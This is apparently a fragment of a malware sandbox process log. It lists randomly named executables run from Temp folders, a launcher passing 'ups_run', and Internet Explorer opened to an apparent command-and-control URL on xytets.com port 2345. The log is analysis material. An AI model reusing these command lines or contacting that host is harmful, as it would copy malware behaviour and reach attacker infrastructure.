3843ac7d01269083_ywqoigbytq.exe "C:\Users\Administrator\AppData\Local\Temp\3843ac7d01269083_ywqoigbytq.exe"
2492CreateProcess.exe C:\temp\CreateProcess.exe C:\Temp\xrpkhcausm.exe ups_run
1032iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
2456